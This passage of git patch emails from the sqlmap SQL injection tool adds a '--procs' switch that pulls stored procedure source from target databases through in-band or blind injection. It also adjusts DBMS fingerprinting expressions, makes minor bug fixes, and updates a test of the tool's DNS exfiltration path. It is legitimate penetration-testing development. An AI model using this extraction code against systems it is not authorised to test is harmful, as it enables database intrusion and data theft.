"TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", - DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite + DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL", # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval DBMS.CUBRID: "(NULL SETEQ NULL)", - DBMS.CACHE: "%SQLUPPER NULL", + DBMS.CACHE: "%EXACT(NULL)", # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", diff --git a/lib/core/settings.py b/lib/core/settings.py index 748bf5308..6c4ab2895 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.154" +VERSION = "1.10.6.155" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 15715a2513c7a05fa844392d81179128010bdb4f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 01:35:02 +0200 Subject: [PATCH 061/165] Adding switch --procs (#778) --- data/txt/sha256sums.txt | 18 +++++------ data/xml/queries.xml | 17 ++++++++++ lib/controller/action.py | 3 ++ lib/core/dicts.py | 1 + lib/core/dump.py | 3 ++ lib/core/enums.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 ++ plugins/generic/databases.py | 60 ++++++++++++++++++++++++++++++++++++ 10 files changed, 99 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 89144295d..89807f23e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -ff368554d3320ffa50751e32c903aeec21221f351f3efa573a211081947f69e8 data/xml/queries.xml +a6127cc68b62709149a0e58a314d9003865945018cc5a43d60afc3698d92c6e9 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -161,7 +161,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 63657c00a046ca0fb28fd069407ab6305bd7b95c42f26a96ed083fd05b152252 extra/vulnserver/vulnserver.py -3abecaec1a9c59645a4821463a2d761235f7a4f763a491f188a41a083bbddd98 lib/controller/action.py +a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py 9387fb775b694156a71b336a2a9638ef24c577aa38746f391ac040ff05306d95 lib/controller/checks.py 96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py @@ -175,13 +175,13 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 6c8d40d6bbab4a60d09eb03324a3352d85df1a741c62044e73701e92172d1d38 lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -8b9033027229db2b44134cc8bf3a47db1165ef64a13ebeccc6394d9d6453998d lib/core/dicts.py -a3125c682e891f67255b89d2db891cbaae241f36dd277a272ae6db943111a157 lib/core/dump.py -6b6514202c6ca2d29069176bccf10492927d83e6ede06c9f4b4fcc6164e61856 lib/core/enums.py +8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py +854073f899b876ab13b36e93e174b9cfe51408f7343040197a80afd9fc9c65ee lib/core/dump.py +6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -b5da34bba9ce71ede23349698988939501f5df07be151856007b9b8425a228db lib/core/optiondict.py +8b260bff7f24947ece55727277d526c88a91f7cb9ffe059c4b9c190bf85f80e1 lib/core/optiondict.py 4e7f2ad3d2866093aa195616a0e93de1687406edc0b9038fbfa76bf1c9c174b2 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dde396241b71e93a6ee1a9a07b0726d6674dde7aeed05cb80ecb96cce0e78612 lib/core/settings.py +d6572ecbd0d7a26839f5098d68cb02fb5b498c88f0d1c36928c5611a96f9d19a lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -d0aa9559d1aa94f5c1a647997e9298eb03403a5800ffb739bb3ceba8b5a37da9 lib/parse/cmdline.py +386065c4c40e07a10875d0b73b4ca2fb682c598e8d52b41d0b6b08d5c2c7b3c1 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -482,7 +482,7 @@ e2e20e4707abe9ed8b6208837332d2daa4eaca282f847412063f2484dcca8fbd plugins/dbms/v 2b2dad6ba1d344215cad11b629546eb9f259d7c996c202edf3de5ab22418787e plugins/dbms/virtuoso/takeover.py 51c44048e4b335b306f8ed1323fd78ad6935a8c0d6e9d6efe195a9a5a24e46dc plugins/generic/connector.py a967f4ebd101c68a5dcc10ff18c882a8f44a5c3bf06613d951a739ecc3abb9b3 plugins/generic/custom.py -020f0f828121fe03704fdef241364ffd33c5dce1e5d04028bc7375b4563c3696 plugins/generic/databases.py +6f77b5cae6781a746f8490fe3e85456e575165b38edd280a69c9327af8bee85f plugins/generic/databases.py 13086bfae6022edc2bbd35512fa3bda3402c269e9d6148ffe386ba5b8b4ba461 plugins/generic/entries.py d2de7fc135cf0db3eb4ac4a509c23ebec5250a5d8043face7f8c546a09f301b5 plugins/generic/enumeration.py a02ac4ebc1cc488a2aa5ae07e6d0c3d5064e99ded7fd529dfa073735692f11df plugins/generic/filesystem.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 64e8823cc..826743553 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -47,6 +47,10 @@ + + + + @@ -123,6 +127,10 @@ + + + + @@ -195,6 +203,10 @@ + + + + @@ -290,6 +302,11 @@ + + + + + diff --git a/lib/controller/action.py b/lib/controller/action.py index b61535481..8fe73ebf5 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -114,6 +114,9 @@ def action(): if conf.getStatements: conf.dumper.statements(conf.dbmsHandler.getStatements()) + if conf.getProcs: + conf.dumper.procedures(conf.dbmsHandler.getProcedures()) + if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index aa191a20f..b699a52d1 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -428,6 +428,7 @@ PART_RUN_CONTENT_TYPES = { "search": CONTENT_TYPE.SEARCH, "sqlQuery": CONTENT_TYPE.SQL_QUERY, "getStatements": CONTENT_TYPE.STATEMENTS, + "getProcs": CONTENT_TYPE.PROCEDURES, "tableExists": CONTENT_TYPE.COMMON_TABLES, "columnExists": CONTENT_TYPE.COMMON_COLUMNS, "readFile": CONTENT_TYPE.FILE_READ, diff --git a/lib/core/dump.py b/lib/core/dump.py index f62bae823..37264e93e 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -216,6 +216,9 @@ class Dump(object): def statements(self, statements): self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) + def procedures(self, procedures): + self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES) + def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() diff --git a/lib/core/enums.py b/lib/core/enums.py index b96312b9a..479b9f682 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -409,6 +409,7 @@ class CONTENT_TYPE(object): OS_CMD = 24 REG_READ = 25 STATEMENTS = 26 + PROCEDURES = 27 class CONTENT_STATUS(object): IN_PROGRESS = 0 diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 98e33e047..1a7d34b01 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -153,6 +153,7 @@ optDict = { "search": "boolean", "getComments": "boolean", "getStatements": "boolean", + "getProcs": "boolean", "db": "string", "tbl": "string", "col": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c4ab2895..8a8e81bfe 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.155" +VERSION = "1.10.6.156" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 84d543014..e0b2b5793 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -511,6 +511,9 @@ def cmdLineParser(argv=None): enumeration.add_argument("--statements", dest="getStatements", action="store_true", help="Retrieve SQL statements being run on DBMS") + enumeration.add_argument("--procs", dest="getProcs", action="store_true", + help="Retrieve stored procedures/functions and their source") + enumeration.add_argument("-D", dest="db", help="DBMS database to enumerate") diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index d3eef7ea3..20d0941bd 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -70,6 +70,7 @@ class Databases(object): kb.data.cachedCounts = {} kb.data.dumpedTable = {} kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] def getCurrentDb(self): infoMsg = "fetching current database" @@ -1127,3 +1128,62 @@ class Databases(object): kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedStatements] return kb.data.cachedStatements + + def getProcedures(self): + infoMsg = "fetching stored procedures" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].procedures + + # Generic-first by design: a DBMS is supported iff it declares a query block in + # queries.xml (INFORMATION_SCHEMA.ROUTINES / pg_proc / sys.sql_modules / ALL_SOURCE / RDB$PROCEDURES). + # Engines without stored procedures (or without a declared block) fall through with a clean + # warning - same model as getStatements() (uneven coverage is the established convention). + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the stored procedures" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedProcedures + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + query = rootQuery.inband.query + + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedProcedures = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedProcedures.append(value.strip()) + + if not kb.data.cachedProcedures and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of stored procedures" + logger.info(infoMsg) + + count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedProcedures + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of stored procedures" + raise SqlmapNoneDataException(errMsg) + + # every blind query uses 0-based paging (MySQL "LIMIT %d,1", PostgreSQL/MSSQL/Oracle + # "OFFSET %d"), so the index range stays 0-based here regardless of PLUS_ONE_DBMSES (unlike + # getStatements(), whose MSSQL/Oracle idioms are 1-based) + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query % index + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedProcedures.append((value or "").strip()) + + if not kb.data.cachedProcedures: + errMsg = "unable to retrieve the stored procedures" + logger.error(errMsg) + else: + kb.data.cachedProcedures = [_.replace(REFLECTED_VALUE_MARKER, "") for _ in kb.data.cachedProcedures] + + return kb.data.cachedProcedures From cef105f3225f47867761a98d010c2d846f520775 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 01:59:02 +0200 Subject: [PATCH 062/165] Minor bug fixes --- data/txt/sha256sums.txt | 12 ++++++------ data/xml/queries.xml | 1 + lib/core/agent.py | 6 +++--- lib/core/common.py | 9 ++++++++- lib/core/settings.py | 2 +- lib/request/connect.py | 2 +- tests/test_dns_engine.py | 12 ++++++++++++ 7 files changed, 32 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 89807f23e..772e791c8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -a6127cc68b62709149a0e58a314d9003865945018cc5a43d60afc3698d92c6e9 data/xml/queries.xml +6eca98949c361bbcf5edd5e24dcf001dbaee5b37b244978df7e319cf48dac514 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -166,9 +166,9 @@ a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller 96463b969312bd4fd29452b5fc739f33e5a73f81fdc1ef80ac27debbe9926e42 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -1276ff64ad145157d8c65ce08f3066b6db041d12f7d1eee590c06123c700b18d lib/core/agent.py +9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -5a8dcfc6c43927e4a132d34abf5d75193eaeb3feb0cb58d0ff5bdc059c876ba9 lib/core/common.py +122767794156afa41b19baa706ad4c124eef6eaf73ed8fd208d8f634e97e82eb lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d6572ecbd0d7a26839f5098d68cb02fb5b498c88f0d1c36928c5611a96f9d19a lib/core/settings.py +c7a6dd94cf738716cc48f1daacdd402ddb0e78a6c9260233e319cde4f9054a60 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -212,7 +212,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py d4bb0869b03602a0c8f9e0e0fd217753f14ddadf848fc9f3c65a74d03feb9958 lib/request/comparison.py -b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py +729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py @@ -587,7 +587,7 @@ c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_dat b6d8a4bc9c46a332a2dc7b3cf862ea67e38b5c5701cfd8eb3556021f6b611416 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py -7f12466974394312dad3d98651ef8a50d1585bee0f8cd25da0b77b08c2047e46 tests/test_dns_engine.py +ed5a0e453b811dc3dcc5ca28e14a9d7552aacaa7e316e1bca1b042dc5939e204 tests/test_dns_engine.py 703faac01f38224ba85bd0fc398d939ea034f1d7fd641cdc15da4f77ec049443 tests/test_dns_server.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 826743553..9cfbce4e8 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -203,6 +203,7 @@ + diff --git a/lib/core/agent.py b/lib/core/agent.py index 686eb43bb..ec781a43e 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -70,9 +70,9 @@ class Agent(object): query = self.cleanupPayload(query) if query.upper().startswith("AND "): - query = re.sub(r"(?i)AND ", "SELECT ", query, 1) + query = re.sub(r"(?i)AND ", "SELECT ", query, count=1) elif query.upper().startswith(" UNION ALL "): - query = re.sub(r"(?i) UNION ALL ", "", query, 1) + query = re.sub(r"(?i) UNION ALL ", "", query, count=1) elif query.startswith("; "): query = query.replace("; ", "", 1) @@ -1126,7 +1126,7 @@ class Agent(object): original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] for part in original.split(','): if re.search(r"\b%s\b" % re.escape(field), part): - _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1) + _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1) replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num) limitedQuery = replacement break diff --git a/lib/core/common.py b/lib/core/common.py index 5b04c9589..a8eca14ad 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2271,7 +2271,7 @@ def safeStringFormat(format_, params): if match: try: _ = getUnicode(params[count % len(params)]) - retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, 1) + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, count=1) except re.error: retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1) count += 1 @@ -3884,6 +3884,13 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", if 'b' in mode: buffering = 0 encoding = None + elif buffering == 1 and codecs_open is codecs.open: + # codecs.open() always opens the underlying file in binary mode, where line buffering + # (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is + # silently downgraded to the default buffer size anyway. Request that default explicitly + # so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1 + # itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path). + buffering = -1 if filename == STDIN_PIPE_DASH: if filename not in kb.cache.content: diff --git a/lib/core/settings.py b/lib/core/settings.py index 8a8e81bfe..c25f9e0f6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.156" +VERSION = "1.10.6.157" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index daa2a66ee..40c42390b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1018,7 +1018,7 @@ class Connect(object): if conn and getattr(conn, "redurl", None): _ = _urllib.parse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, count=1) if kb.resendPostOnRedirect is False: requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index bce8bff6a..5eaf2c0a7 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -43,6 +43,7 @@ bootstrap() from lib.core.agent import agent from lib.core.common import Backend from lib.core.data import conf, kb +from lib.core.threads import getCurrentThreadData from lib.core.enums import DBMS from lib.core.exception import SqlmapNotVulnerableException from lib.core.settings import DNS_BOUNDARIES_ALPHABET @@ -89,7 +90,12 @@ class _DnsCase(unittest.TestCase): def setUpClass(cls): cls.server = _HighPortDNSServer() cls.server.run() + # bounded wait: never spin indefinitely if the in-process server fails to bind/init + # (e.g. a taken port on CI) - fail loudly instead of hanging the whole suite + deadline = time.time() + 10 while not cls.server._initialized: + if time.time() > deadline: + raise RuntimeError("in-process DNS test server failed to initialize within 10s") time.sleep(0.02) @classmethod @@ -107,6 +113,11 @@ class _DnsCase(unittest.TestCase): self._saved_randomInt = dnstestmod.randomInt self._saved_dnsServer = conf.get("dnsServer") self._saved_hdbR, self._saved_hdbW = dnsmod.hashDBRetrieve, dnsmod.hashDBWrite + # the DNS exfil path prints its own "[INFO] retrieved: ..." progress straight to stdout + # via dataToStdout() (it bypasses the logger, so the suite's log-level silencing can't + # catch it); suppress it through sqlmap's own per-thread stdout gate so the run stays clean + self._saved_disableStdOut = getCurrentThreadData().disableStdOut + getCurrentThreadData().disableStdOut = True for k, v in _CONF.items(): conf[k] = v for k, v in _KB.items(): @@ -125,6 +136,7 @@ class _DnsCase(unittest.TestCase): set_dbms(self.DBMS_NAME) def tearDown(self): + getCurrentThreadData().disableStdOut = self._saved_disableStdOut for k, v in self._saved_conf.items(): conf[k] = v for k, v in self._saved_kb.items(): From 0430f780ab2ce827b3d0fca126c9c36a6f3d7fcd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 24 Jun 2026 10:57:52 +0200 Subject: [PATCH 063/165] Improving --gui and --tui --- data/txt/sha256sums.txt | 8 +- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 6 +- lib/utils/gui.py | 1368 ++++++++++++++++++++++++++++----------- lib/utils/tui.py | 331 +++++++--- 5 files changed, 1219 insertions(+), 496 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 772e791c8..b1e6dddf2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c7a6dd94cf738716cc48f1daacdd402ddb0e78a6c9260233e319cde4f9054a60 lib/core/settings.py +a6e15ece62113241870feacc9cda691c64be9b849ce2df169b35ee695a517165 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -200,7 +200,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -386065c4c40e07a10875d0b73b4ca2fb682c598e8d52b41d0b6b08d5c2c7b3c1 lib/parse/cmdline.py +6060d2d11fab39796b87ace30a872302f365dea3b14d24670915fdb9edc86011 lib/parse/cmdline.py 